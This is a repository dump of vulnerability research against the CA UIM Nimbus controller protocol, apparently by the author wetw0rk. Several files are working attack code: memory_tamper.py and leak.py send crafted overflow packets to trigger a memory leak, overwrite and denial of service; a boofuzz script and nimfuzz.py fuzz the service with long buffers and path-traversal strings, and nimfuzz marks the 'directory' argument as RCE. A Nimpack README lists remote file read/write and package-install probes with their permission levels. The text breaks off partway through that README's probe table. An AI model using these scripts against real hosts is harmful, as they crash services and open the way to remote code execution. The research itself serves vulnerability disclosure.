├── 0x00 - Workspace ├── README.md ├── leak.py ├── memory_tamper.py └── rop.txt ├── 0x01 - Reverse Engineering ├── Fuzzers │ ├── Boofuzz │ │ └── fuzzer.py │ └── Nimfuzz │ │ ├── README.md │ │ └── nimfuzz.py ├── Nimpack │ ├── README.md │ ├── nimpack │ └── source │ │ ├── makefile │ │ ├── nimpack.c │ │ └── packgen.h └── Nimvuln │ ├── README.md │ └── nimvuln.py ├── 0x02 - PoC Code ├── CVE-2020-8010 - Improper ACL Handling │ ├── README.md │ ├── nimbust.py │ └── probes │ │ ├── __init__.py │ │ ├── dependencies.py │ │ ├── directory_list.py │ │ ├── get_info.py │ │ ├── text_file_get.py │ │ └── text_file_put.py ├── CVE-2020-8011 - Null Pointer Dereference │ ├── README.md │ └── poc.py └── CVE-2020-8012 - Out Of Bounds Write │ ├── Metasploit Module │ ├── README.md │ └── nimcontroller_bof.rb │ └── PoC │ ├── VirtualProtect │ ├── README.md │ └── poc_release.c │ └── WinExec │ └── winexec.py ├── 0xFF - Screenshots ├── Improper ACL Handling │ ├── rce.gif │ └── rce2.gif ├── NULL Pointer Dereference │ └── hasta_luego.gif ├── Out Of Bounds Write │ ├── handler.png │ ├── module.gif │ └── poc_release.png └── Tools │ ├── nimfuzz.png │ └── vulnChecker.png └── README.md /0x00 - Workspace/README.md: -------------------------------------------------------------------------------- 1 | # Workspace 2 | 3 | This directory contains any additional data I gathered that may aid in future research. Most notably the memory leak and memory tamper scripts. Gadgets within rop.txt were obtained using [rp++](https://github.com/0vercl0k/rp) by [0vercl0k](https://github.com/0vercl0k/rp). 4 | -------------------------------------------------------------------------------- /0x00 - Workspace/leak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # 3 | # Program name : leak.py 4 | # Version : 1.0 5 | # Author : wetw0rk 6 | # Python version : 2.7 7 | # 8 | # Description: 9 | # This demonstrates how we can trigger a leak using the same bug. There is 10 | # a chance of triggering a DoS... 11 | # 12 | 13 | import socket, struct 14 | 15 | HOST = "192.168.88.157" 16 | PORT = 48000 17 | 18 | def gen_probe(buff): 19 | packet_header = "nimbus/1.0 {:d} {:d}\r\n" 20 | packet_body = ( 21 | "\x6d\x74\x79\x70\x65\x00\x37\x00\x34\x00\x31\x30\x30\x00\x63" 22 | "\x6d\x64\x00\x37\x00\x31\x35\x00\x64\x69\x72\x65\x63\x74\x6f" 23 | "\x72\x79\x5f\x6c\x69\x73\x74\x00\x73\x65\x71\x00\x31\x00\x32" 24 | "\x00\x30\x00\x74\x73\x00\x31\x00\x31\x31\x00\x31\x35\x32\x32" 25 | "\x37\x31\x33\x36\x30\x30\x00\x66\x72\x6d\x00\x37\x00\x31\x35" 26 | "\x00\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x31\x33\x33\x37" 27 | "\x00\x74\x6f\x75\x74\x00\x31\x00\x34\x00\x31\x38\x30\x00\x61" 28 | "\x64\x64\x72\x00\x37\x00\x30" 29 | ) 30 | packet_args = "directory\x00" 31 | packet_args += "7\x00{:d}\x00".format(len(buff)+1) 32 | packet_args += "{:s}\x00".format(buff) 33 | 34 | packet_header = packet_header.format( 35 | len(packet_body), 36 | len(packet_args) 37 | ) 38 | 39 | probe = packet_header + packet_body + packet_args 40 | 41 | return probe 42 | 43 | payload = "A" * 1044 44 | 45 | print("[*] payload size: %d" % len(payload)) 46 | packet = gen_probe(payload) 47 | 48 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 49 | sock.connect((HOST, PORT)) 50 | sock.send(packet) 51 | r = sock.recv(4096) 52 | print repr(r) 53 | -------------------------------------------------------------------------------- /0x00 - Workspace/memory_tamper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # 3 | # Program name : memory_tamper.py 4 | # Version : 1.0 5 | # Author : wetw0rk 6 | # Python version : 2.7 7 | # 8 | # Description: 9 | # This simply shows we can overwrite sections of the packet proir to 10 | # triggering a DoS. 11 | # 12 | 13 | import socket, struct 14 | 15 | HOST = "192.168.88.157" 16 | PORT = 48000 17 | 18 | def gen_probe(buff): 19 | packet_header = "nimbus/1.0 {:d} {:d}\r\n" 20 | packet_body = ( 21 | "\x6d\x74\x79\x70\x65\x00\x37\x00\x34\x00\x31\x30\x30\x00\x63" 22 | "\x6d\x64\x00\x37\x00\x31\x35\x00\x64\x69\x72\x65\x63\x74\x6f" 23 | "\x72\x79\x5f\x6c\x69\x73\x74\x00\x73\x65\x71\x00\x31\x00\x32" 24 | "\x00\x30\x00\x74\x73\x00\x31\x00\x31\x31\x00\x31\x35\x32\x32" 25 | "\x37\x31\x33\x36\x30\x30\x00\x66\x72\x6d\x00\x37\x00\x31\x35" 26 | "\x00\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x31\x33\x33\x37" 27 | "\x00\x74\x6f\x75\x74\x00\x31\x00\x34\x00\x31\x38\x30\x00\x61" 28 | "\x64\x64\x72\x00\x37\x00\x30" 29 | ) 30 | packet_args = "directory\x00" 31 | packet_args += "7\x00{:d}\x00".format(len(buff)+1) 32 | packet_args += "{:s}\x00".format(buff) 33 | 34 | packet_header = packet_header.format( 35 | len(packet_body), 36 | len(packet_args) 37 | ) 38 | 39 | probe = packet_header + packet_body + packet_args 40 | 41 | return probe 42 | 43 | def parse_leak(leak): 44 | print("[*] RAW RESPONSE: %s" % repr(leak)) 45 | leak = int(leak.split("\x00")[7]) 46 | print("[+] Overwrite address at: %s" % hex(leak)) 47 | 48 | payload = "A" * 1024 # offset to parameter 49 | payload += "BBBB" # UNIX EPOCH 50 | 51 | print("[*] payload size: %d" % len(payload)) 52 | packet = gen_probe(payload) 53 | 54 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 55 | sock.connect((HOST, PORT)) 56 | sock.send(packet) 57 | r = sock.recv(4096) 58 | parse_leak(r) 59 | -------------------------------------------------------------------------------- /0x01 - Reverse Engineering/Fuzzers/Boofuzz/fuzzer.py: -------------------------------------------------------------------------------- 1 | ''' 2 | 3 | This fuzzer was crafted before any reverse engineering 4 | 5 | ''' 6 | 7 | from boofuzz import * 8 | 9 | HOST = "192.168.245.150" 10 | PORT = 48000 11 | 12 | def result(sock): 13 | sock.recv(1024) 14 | 15 | def main(): 16 | session = sessions.Session( 17 | receive_data_after_fuzz = 1, 18 | session_filename = "nimsoft.session", 19 | sleep_time = 4, 20 | target = Target( 21 | SocketConnection(host=HOST, port=PORT, proto="tcp") 22 | ) 23 | ) 24 | 25 | s_initialize("probe_packets") 26 | 27 | s_static("nimbus/1.0 113 28\r\n") 28 | s_static("mtype\x00") 29 | s_string("7") 30 | s_static("\x004\x00100\x00") 31 | s_static("cmd\x00") 32 | s_string("7") 33 | s_static("\x009\x00") 34 | 35 | s_group("probes", values=[ 36 | "os_info\x00", 37 | "get_info\x00", 38 | "probe_list\x00", 39 | ]) 40 | 41 | if s_block("probe", group="probes"): 42 | s_string("seq") 43 | s_static("\x00") 44 | s_string("1") 45 | s_static("\x00") 46 | s_string("2") 47 | s_static("\x00") 48 | s_string("0") 49 | s_static("\x00") 50 | s_string("ts") 51 | s_static("\x00") 52 | s_string("1") 53 | s_static("\x00") 54 | s_string("11") 55 | s_static("\x00") 56 | s_string("1570203795") 57 | s_static("\x00") 58 | s_string("frm") 59 | s_static("\x00") 60 | s_string("7") 61 | s_static("\x00") 62 | s_string("22") 63 | s_static("\x00") 64 | s_string("192.168.245.150") 65 | s_string("/") 66 | s_string("50293") 67 | s_static("\x00") 68 | s_string("tout") 69 | s_static("\x00") 70 | s_string("1") 71 | s_static("\x00") 72 | s_string("4") 73 | s_static("\x00") 74 | s_string("180") 75 | s_static("\x00") 76 | s_string("addr") 77 | s_static("\x00") 78 | s_string("7") 79 | s_static("\x00") 80 | s_string("0") 81 | s_static("\x00") 82 | s_string("interfaces") 83 | s_static("\x00") 84 | s_string("1") 85 | s_static("\x00") 86 | s_string("2") 87 | s_static("\x00") 88 | s_string("0") 89 | s_static("\x00") 90 | s_string("robot") 91 | s_static("\x00") 92 | s_string("7") 93 | s_static("\x00") 94 | s_string("1") 95 | s_static("\x00\x00") 96 | s_block_end() 97 | 98 | session.connect(s_get("probe_packets")) 99 | session.fuzz() 100 | 101 | if __name__ == "__main__": 102 | main() 103 | -------------------------------------------------------------------------------- /0x01 - Reverse Engineering/Fuzzers/Nimfuzz/README.md: -------------------------------------------------------------------------------- 1 | # Nimfuzz 2 | 3 | This program was made to "dumb" fuzz the nimbus protocol while I perform reverse engineering. In order to use this tool you'll need to be running python 3.7.3 (or newer). Usage is simple enough just place it in the same directory as the nimbus.exe executable and run it. It can also be ran from Linux, however Windows is preffered so you're not messing with it. 4 | 5 | ![alt text](https://github.com/wetw0rk/CA-UIM-Nimbus-Research/blob/master/0xFF%20-%20Screenshots/Tools/nimfuzz.png) 6 | 7 | All crashes and timeouts will be placed RAW in logs.txt 8 | -------------------------------------------------------------------------------- /0x01 - Reverse Engineering/Fuzzers/Nimfuzz/nimfuzz.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Program name : nimfuzz 4 | # Version : 1.2 5 | # Author : wetw0rk 6 | # Python Version : 3.4 7 | # Designed OS : Windows 10 8 | # 9 | # Description: 10 | # "Dumb" fuzzer that will loop through known Nimsoft / Nimbus probe commands 11 | # and send numerous bytes of a static BUFFER_LENGTH. You can also implement 12 | # a for loop to slowly increment lengths. This was designed to be ran from the 13 | # target OS. All crashes and errors will be written to log.txt. 14 | # 15 | 16 | import os 17 | import sys 18 | import time 19 | import socket 20 | 21 | 22 | TARGET = "52.117.201.212" 23 | PORT = 48000 24 | TIMEOUT = 4 25 | BUFFER_LENGTH = 45000 26 | NIMSOFT_DIECTORY = "C:\\Program Files (x86)\\Nimsoft\\bin" 27 | 28 | def main(): 29 | 30 | fuzz_probes = [ 31 | #------------- PROBE -----------#--------------------------------------------------------- ARGUMENTS ---------------------------------------------------#---- PERM ----# 32 | {"_status" : ["detail=1"]}, # 0 33 | {"_command" : ["detail=1"]}, # 0 34 | {"checkin" : ["hubaddr=/none/wetw0rk/wetw0rk","hubip=52.117.201.212"]}, # 0 35 | {"probe_checkin" : ["type=1"]}, # 0 36 | {"iptoname" : ["ip=52.117.201.212","port=48000"]}, # 0 37 | {"nametoip" : ["name=controller"]}, # 0 38 | {"login" : ["type=1"]}, # 0 39 | {"probe_set_port" : ["name=spooler","port=48001","pid=2652"]}, # 0 40 | {"port_register" : ["name=wetw0rk","port=6555","pid=5205"]}, # 0 41 | {"port_unregister" : ["name=wetw0rk","pid=5205"]}, # 0 42 | {"port_reserve" : ["name=wetw0rk"]}, # 0 43 | {"port_reserve_starting_from" : ["name=wetw0rk","start_port=6555"]}, # 0 44 | {"get_info" : ["interfaces=1", "robot=wetw0rk"]}, # 0 45 | {"remote_config_get" : ["name=controller"]}, # 0 46 | {"remote_config_set" : ["name=vs2017_vcredist_x86","section=win32","key=name","value=1","lockid=1"]}, # 0 47 | {"validate_license" : ["license=C:\\test.txt", "mode=1"]}, # 0 48 | {"test_alarm" : ["level=3"]}, # 0 49 | {"remote_list" : ["detail=1"]}, # 0 50 | {"_shutdown" : ["id=1"]}, # 0 51 | {"_nis_cache" : ["age=1","bulk_size=50","robot=wetw0rk"]}, # 0 52 | {"_nis_cache_advanced" : ["age=1","bulk_size=50","robot=wetw0rk","min_age=0"]}, # 0 53 | {"_nis_cache_clean" : ["robot=wetw0rk","min_age=2"]}, # 0 54 | {"_reset_device_id_and_restart" : ["robot=wetw0rk"]}, # 0 55 | {"hubcall_robotup" : ["license=1","hubdomain=none","hubname= ","hubrobotname= ","hubpost_port=48002","origin,ssl_cipher=0","ssl_mode=2"]}, # 0 56 | {"hubcall_update_hub_info" : ["origin=test"]}, # 0 57 | {"validate_ip_suggestions" : ["input_ips=50"]}, # 0 58 | {"_debug" : ["level=1","trunc_size=50","trunc_time=15","now=14"]}, # 1 59 | {"probe_list" : ["name=hdb","robot=wetw0rk"]}, # 1 60 | {"probe_config_get" : ["name=hdb","robot=wetw0rk","var=group"]}, # 1 61 | {"probe_tail_logfile" : ["name=hdb","size=50","prev_record=1"]}, # 1 62 | {"probe_tail_logfile_session" : ["name=hdb","max_buffer=50","from_start=1"]}, # 1 63 | {"inst_list" : ["package=vs2008sp1_redist_x64"]}, # 1 64 | {"directory_list" : ["directory=C:\\","type= ","detail=1"]}, # 1 65 | {"file_stat" : ["directory=C:\\","file=test.txt"]}, # 1 66 | {"text_file_get" : ["directory=C:\\","file=test.txt","buffer_size=50"]}, # 1 67 | {"file_get_start" : ["directory=C:\\","file=test.txt","type=0","buffer_size=50","start_pos=1"]}, # 1 68 | {"file_get_next" : ["id=1"]}, # 1 69 | {"file_get_end" : ["id=1"]}, # 1 70 | {"get_environment" : ["variable=PATH"]}, # 1 71 | {"run_controller_plugins_now" : ["plugin_name=test"]}, # 1 72 | {"plugins_get_info" : ["plugin_name=test"]}, # 1 73 | {"verify_file" : ["owner= ","path=C:\\"]}, # 1 74 | {"verify_files" : ["owner= "]}, # 1 75 | {"probe_set_priority_level" : ["name=hdb","priority_level=1"]}, # 2 76 | {"maint_until" : ["until=2","for=2","comment=hello","from=1"]}, # 2 77 | {"probe_register" : ["name=test","active=1","type=script","timespec=test","command=cmd","arguments=help","workdir=C:\\","config=c.cfg", # 3 78 | "datafile=test.txt","logfile=log.txt","description=fuckit","group,fail_window=0","realip=127.0.0.1"]}, # 3 79 | {"probe_unregister" : ["name=test","noforce=1"]}, # 3 80 | {"probe_activate" : ["name=test"]}, # 3 81 | {"probe_deactivate" : ["name=test","noforce=1","waitforstop=1"]}, # 3 82 | {"probe_store" : ["filename=test.txt"]}, # 3 83 | {"probe_config_lock" : ["name=test","locktype=1","lockid=test","robot=wetw0rk"]}, # 3 84 | {"probe_config_lock_list" : ["name=test"]}, # 3 85 | {"probe_config_set" : ["name=test","section=test","key=test","value=test","lockid=1","robot=wetw0rk"]}, # 3 86 | {"probe_start" : ["name=test"]}, # 3 87 | {"probe_stop" : ["name=test"]}, # 3 88 | {"probe_change_par" : ["name=test","par=test","value=test"]}, # 3 89 | {"probe_verify" : ["name=test"]}, # 3 90 | {"restart_all_probes" : ["marketplace_only=1"]}, # 3 91 | {"sethub" : ["hubdomain=none","hubname= ","hubip=52.117.201.212","hub_dns_name= ","hubport=48002","robotip_alias=wtew0rk"]}, # 3 92 | {"log_level" : ["level=1"]}, # 3 93 | {"inst_pkg" : ["package=test"]}, # 3 94 | {"inst_file_start" : ["package=test","file=test.txt","type=script","mode=rwx","crc= "]}, # 3 95 | {"inst_file_next" : ["id=1"]}, # 3 96 | {"inst_file_end" : ["id=1"]}, # 3 97 | {"inst_execute" : ["package=test","section=3","expire=1","robot_name=wetw0rk"]}, # 3 98 | {"inst_pkg_remove" : ["package=test","probe=test","noforce=1"]}, # 3 99 | {"inst_request" : ["package=test","distsrv=test"]}, # 3 100 | {"text_file_put" : ["directory=C:\\","file=test.txt","mode=rwx","file_contents=hello_world"]}, # 3 101 | {"file_put_start" : ["directory=C:\\","file=test.txt","type=script","mode=rwx"]}, # 3 102 | {"file_put_next" : ["id=1"]}, # 3 103 | {"file_put_end" : ["id=1"]}, # 3 104 | {"check_product_guid" : ["guid=1"]}, # 3 105 | {"_audit_send" : ["description=test","status=1"]}, # 3 106 | {"check_marketplace_user" : ["encrypted_username=test","encrypted_password=pass"]}, # 3 107 | {"protect_file" : ["owner= ","path=C:\\"]}, # 3 108 | {"unprotect_file" : ["owner= ","path=C:\\"]}, # 3 109 | {"_audit_type" : ["type=1"]}, # 4 110 | {"_audit_restore" : ["probe=test","checkpoint=1","lockid=12","robot=wetw0rk"]}, # 4 111 | ] 112 | 113 | tested = ["directory", # RCE 114 | "name", # MSVCR90!write_char+0x24 115 | "robot", # MSVCR90!write_char+0x24 116 | "probe", # MSVCR90!write_char+0x24 117 | "hubdomain", # MSVCR90!write_char+0x24 118 | "hubname", # MSVCR90!write_char+0x24 119 | "package", # MSVCR90!write_char+0x24 120 | ] 121 | 122 | fuzzer( 123 | fuzz_probes, # list of commands to fuzz along with args 124 | BUFFER_LENGTH, # fuzz length (static but can be looped) 125 | tested # avoid fuzzing these arguments 126 | ) 127 | 128 | # crash_handler: does what you would expect, made its own function in case 129 | # I start getting spammed 130 | def crash_handler(probe_info): 131 | 132 | note = f"Probe: {probe_info[0]}\nArgument: {probe_info[1]}\nEvil Packet: {repr(probe_info[2])}\n\n" 133 | 134 | check = check_controller_state("", "", "") 135 | if check != 1: 136 | logger(note) 137 | 138 | if os.getcwd() == NIMSOFT_DIECTORY: 139 | print(f"{BOLD}{YELLOW} Crash state:{END} Restarting Nimbus Controller") 140 | os.system("nimbus -stop") 141 | time.sleep(3) 142 | os.system("nimbus -start") 143 | 144 | return 145 | 146 | # logger: write all crash cases into the log.txt file 147 | def logger(note): 148 | 149 | if os.path.isfile("logs.txt"): 150 | fd = open("logs.txt", "a+") 151 | else: 152 | fd = open("logs.txt", 'w+') 153 | 154 | fd.write(note) 155 | fd.close() 156 | 157 | # fuzzer ( 158 | # [ { probe name: [ arg=argv, arg=argv] } ] 159 | # sizeOf(FuzzPayload) 160 | # [ProbeArgvsToIgnore] 161 | # ) 162 | # 163 | # fuzzer: generates and sends fuzzed arguments majority of program flow 164 | # occurs here 165 | def fuzzer(fuzz_probes, flen, tested_args): 166 | 167 | fuzz_cases = generate_cases() 168 | 169 | for i in range(len(fuzz_probes)): 170 | 171 | command = fuzz_probes[i] 172 | 173 | for probe_name, arguments in command.items(): 174 | 175 | print(f"{BOLD}{PURPLE} Test Step: Fuzzing Node:{END} {probe_name}") 176 | for i in range(len(arguments)): 177 | test_case = arguments[i] 178 | tmp_args = [] 179 | 180 | for j in range(len(fuzz_cases)): 181 | for k in range(1): 182 | final_args = [] 183 | 184 | payload = fuzz_cases[j] * ((k+1) * (flen)) 185 | 186 | backup = test_case # backup the original argument 187 | 188 | if (str(test_case.split('=')[0]) not in tested_args): 189 | test_case = test_case.replace( 190 | str(test_case.split('=')[1]), 191 | payload 192 | ) 193 | 194 | for l in range(len(arguments)): 195 | if l == i and i == 0: 196 | tmp_args = [test_case] 197 | elif l == 0 and i != 0: 198 | tmp_args = [arguments[l]] 199 | elif l == i and l != 0: 200 | tmp_args += test_case, 201 | else: 202 | tmp_args += arguments[l], 203 | 204 | final_args = tmp_args 205 | 206 | packet = generate_probe(probe_name, final_args) 207 | 208 | print(f"\tInfo: Opening target connection ({TARGET}:{PORT})") 209 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 210 | try: 211 | sock.settimeout(TIMEOUT) 212 | sock.connect((TARGET, PORT)) 213 | 214 | print(f"\tConnection opened.") 215 | print(f"\tInfo: Sending {repr(fuzz_cases[j])} -> {len(payload)} bytes...") 216 | print(f"{BOLD}{PURPLE} Test Step: Fuzzing Node:{END} '{str(test_case.split('=')[0])}'") 217 | 218 | sock.send(bytes(packet, 'utf-8')) 219 | 220 | r = sock.recv(4096) 221 | 222 | print(f"\t{BOLD}{CYAN}Transmitted {len(payload)} bytes (truncated buffer): {BOLD}{RED}{repr(packet[:500])}{END}") 223 | print(f"\t{BOLD}{CYAN}Received {len(r)} bytes:{END}{BOLD}{BLUE}{r}{END}") 224 | time.sleep(.5) 225 | except: 226 | check = check_controller_state(probe_name, str(test_case.split('=')[0]), packet) 227 | if (check != 1): 228 | crash_handler(check) 229 | 230 | test_case = backup # test completed restore argument 231 | 232 | # check_controller_state: if we get a timeout or no response verify that the 233 | # target host is responsive, if not we have a crash 234 | def check_controller_state(probe, argv, packet): 235 | 236 | print(f"{BOLD}{RED} Possible crash:{END} Checking controller state") 237 | print("\tWaiting 5 seconds") 238 | time.sleep(5) 239 | 240 | print(f"\tInfo: Opening target connection ({TARGET}:{PORT})") 241 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 242 | try: 243 | 244 | sock.settimeout(TIMEOUT) 245 | sock.connect((TARGET, PORT)) 246 | 247 | print("\tConnection opened.") 248 | 249 | sock.send(bytes(generate_probe("os_info", []), 'utf-8')) 250 | r = sock.recv(4096) 251 | 252 | print(f"\t{BOLD}{CYAN}Received {len(r)} bytes: {BOLD}{BLUE}{r}{END}") 253 | print(f"{BOLD}{RED} Crash state:{END} False positive") 254 | 255 | return 1 256 | 257 | except: 258 | print(f"{BOLD}{RED} Crash state:{END} Likely a crash") 259 | 260 | return [probe, argv, packet] 261 | 262 | # generate_probe: returns a dynamically generated probe based on the nimpack 263 | # C program I previously wrote. 264 | def generate_probe(probe, args): 265 | 266 | client = "127.0.0.1/1337\x00" 267 | packet_args = "" 268 | probe += "\x00" 269 | 270 | for i in range(len(args)): 271 | arg = args[i] 272 | c = "" 273 | i = 0 274 | 275 | while (c != "="): 276 | c = arg[i] 277 | i += 1 278 | 279 | packet_args += "{:s}\x00".format(arg[:(i-1)]) 280 | packet_args += "1\x00{:d}\x00".format(len(arg[i:])+1) 281 | packet_args += "{:s}\x00".format(arg[i:]) 282 | 283 | packet_header = "nimbus/1.0 {:d} {:d}\r\n" 284 | packet_body = ( 285 | "mtype\x00" 286 | "7\x004\x00100\x00" 287 | "cmd\x00" 288 | ) 289 | packet_body += "7\x00{:d}\x00".format(len(probe)) 290 | packet_body += probe 291 | packet_body += ( 292 | "seq\x00" 293 | "1\x002\x000\x00" 294 | "ts\x00" 295 | "1\x0011\x00RIGAMORTIS\x00" 296 | "frm\x00" 297 | ) 298 | packet_body += "7\x00{:d}\x00".format( 299 | len(client) 300 | ) 301 | packet_body += client 302 | packet_body += ( 303 | "tout\x00" 304 | "1\x004\x00180\x00" 305 | "addr\x00" 306 | "7\x000\x00" 307 | ) 308 | packet_args = packet_args 309 | 310 | packet_header = packet_header.format( 311 | len(packet_body), 312 | len(packet_args) 313 | ) 314 | 315 | probe = packet_header + packet_body + packet_args 316 | 317 | return probe 318 | 319 | # generate_cases: returns a list object containing each fuzz case to later be 320 | # duplicated / multiplied into a buffer. 321 | def generate_cases(): 322 | 323 | test_bytes = ( 324 | "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" 325 | "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" 326 | "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" 327 | "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" 328 | "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" 329 | "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" 330 | "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" 331 | "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" 332 | "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" 333 | "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" 334 | "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" 335 | "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" 336 | "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" 337 | "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" 338 | "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" 339 | "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00" 340 | ) 341 | test_other = ["../", "..\\", "..%2f", "..%5c", "http://", "~"] 342 | 343 | cases = [] 344 | for i in range(len(test_bytes)): 345 | cases += test_bytes[i], 346 | for i in range(len(test_other)): 347 | cases += test_other[i], 348 | 349 | return cases 350 | 351 | RED = '\033[31m' 352 | BLUE = '\033[94m' 353 | BOLD = '\033[1m' 354 | YELLOW = '\033[93m' 355 | GREEN = '\033[32m' 356 | CYAN = '\033[96m' 357 | PURPLE = '\033[95m' 358 | END = '\033[0m' 359 | 360 | if __name__ == '__main__': 361 | try: 362 | if os.name == "nt": 363 | os.system("color") 364 | main() 365 | except KeyboardInterrupt: 366 | sys.exit(-1) 367 | -------------------------------------------------------------------------------- /0x01 - Reverse Engineering/Nimpack/README.md: -------------------------------------------------------------------------------- 1 | # Nimpack 2 | 3 | This program was made for me to better understand the nimbus protocol, it works by generating a nimbus packet for the nimcontroller. Once coded, within the same day I found an additional 4 bugs. That being said use this with caution when sending weird / unexpected data (non-standard probes). Usage is simple enough as shown below. 4 | 5 | ``` 6 | root@scr1ptKiddie:~# ./nimpack 7 | usage: ./nimpack [-h] [-t TARGET] [-p PORT] [ARG=VAL] 8 | 9 | Nimpack - Nimbus packet generator 10 | 11 | optional arguments: 12 | -h, --help show this help message and exit 13 | -t TARGET, --target TARGET target host to probe 14 | -p PORT, --port PORT nimcontroller port 15 | 16 | positional arguments: 17 | probe 18 | arg=val 19 | 20 | examples: 21 | ./nimpack -t 192.168.88.130 -p 48000 directory_list directory=C:\\ 22 | ./nimpack -t 192.168.88.130 -p 48000 os_info 23 | ``` 24 | 25 | Below is a list of common permission settings. Although, I've observed these do not always matter so it doesn't hurt to sent a probe ;) 26 | 27 | 28 | | permission | meaning | 29 | |---|---| 30 | | 0 | open | 31 | |1 |read | 32 | |2| write | 33 | |3| admin | 34 | |4| super| 35 | 36 | Below is a list of some probes you can send, keep in mind that these permissions may be more or less strict depending on the target host. Another thing to note is this IS NOT AT ALL official documentation so I am not responsible if you DoS a system. 37 | 38 | | PROBE | ARGS | PERMISSION | 39 | |---|---|---| 40 | | _status | `detail%d` | `0` | 41 | | _command | `detail%d` | `0` | 42 | | _debug | `level%d,trunc_size%d,trunc_time%d,now%d` | `1` | 43 | | _stop | `` | `3` | 44 | | _restart | `` | `3` | 45 | | checkin | `hubaddr,hubip` | `0` | 46 | | probe_checkin |`type%d` | `0` | 47 | | iptoname | `ip,port%d` | `0` | 48 | | nametoip | `name` | `0` | 49 | | login | `type%d` | `0` | 50 | | verify_login | `` | `0` | 51 | | change_password | `` | `0` | 52 | | probe_list | `name,robot` | `1` | 53 | | probe_register | `name,active,type,timespec,command,arguments,workdir,config,datafile,logfile,description,group,fail_window,realip` | `3` | 54 | | probe_unregister | `name,noforce%d` | `3` | 55 | | probe_activate | `name` | `3` | 56 | | probe_deactivate | `name,noforce%d,waitforstop%d` | `3` | 57 | | probe_store | `filename` | `3` | 58 | | probe_config_lock | `name,locktype%d,lockid%d,robot` | `3` | 59 | | probe_config_lock_list | `name` | `3` | 60 | | probe_config_get | `name,robot,var` | `1` | 61 | | probe_config_set | `name,section,key,value,lockid%d,robot` | `3` | 62 | | probe_set_port | `name,port%d,pid%d` | `0` | 63 | | probe_start | `name` | `3` | 64 | | probe_stop | `name` | `3` | 65 | | probe_change_par | `name,par,value` | `3` | 66 | | probe_tail_logfile | `name,size%d,prev_record%d` | `1` | 67 | | probe_tail_logfile_session | `name,max_buffer%d,from_start%d`| `1` | 68 | | probe_verify | `name` | `3` | 69 | | probe_set_priority_level | `name,priority_level%d` | `2` | 70 | | restart_all_probes | `marketplace_only%d` | `3` | 71 | | port_register | `name,port%d,pid%d` | `0` | 72 | | port_unregister | `name,pid%d` | `0` | 73 | | port_reserve | `name` | `0` | 74 | | port_reserve_starting_from | `name,start_port%d` | `0` | 75 | | port_list | `` | `1` | 76 | | get_info | `interfaces%d,robot` | `0` | 77 | | get_ordered_ip_list | `` | `1` | 78 | | gethub | `` | `0` | 79 | | sethub PDS_PCH | `hubdomain,hubname,hubip,hub_dns_name,hubport%d,robotip_alias` | `3` | 80 | | log_level | `level%d` | `3` | 81 | | check_hub | `` | `0` | 82 | | inst_pkg | `package` | `3` | 83 | | inst_file_start | `package,file,type,mode,crc` | `3` | 84 | | inst_file_next | `id` | `3` | 85 | | inst_file_end | `id` | `3` | 86 | | inst_execute | `package,section,expire%d,robot_name` | `3` | 87 | | inst_ready | `` | `3` | 88 | | inst_list | `package` | `1` | 89 | | inst_list_summary | `` | `1` | 90 | | inst_pkg_remove | `package,probe,noforce%d` | `3` | 91 | | inst_request | `package,distsrv` | `3` | 92 | | os_info | `` | `0` | 93 | | directory_list | `directory,type%d,detail%d` | `1` | 94 | | file_stat | `directory,file` | `1` | 95 | | text_file_get | `directory,file,buffer_size%d` | `1` | 96 | | text_file_put | `directory,file,mode,file_contents` | `3` | 97 | | file_get_start | `directory,file,type,buffer_size%d,start_pos%d` | `1` | 98 | | file_get_next | `id` | `1` | 99 | | file_get_end | `id` | `1` | 100 | | file_put_start | `directory,file,type,mode` | `3` | 101 | | file_put_next | `id` |`3` | 102 | | file_put_end | `id` | `3` | 103 | | remote_config_get | `name` | `0` | 104 | | remote_config_set | `name,section,key,value,lockid%d` |`0` | 105 | | spooler_flush | ``| `0` | 106 | | validate_license | `license,mode%d` | `0` | 107 | | test_alarm | `level` | `0` | 108 | | get_environment | `variable` | `1` | 109 | | check_product_guid | `guid` | `3` | 110 | | remote_list | `detail%d` | `0` | 111 | | maint_until | `until%d,for%d,comment,from%d` | `2` | 112 | | _shutdown | `id` | `0` | 113 | | _audit_type | `type%d` | `4` | 114 | | _audit_restore | 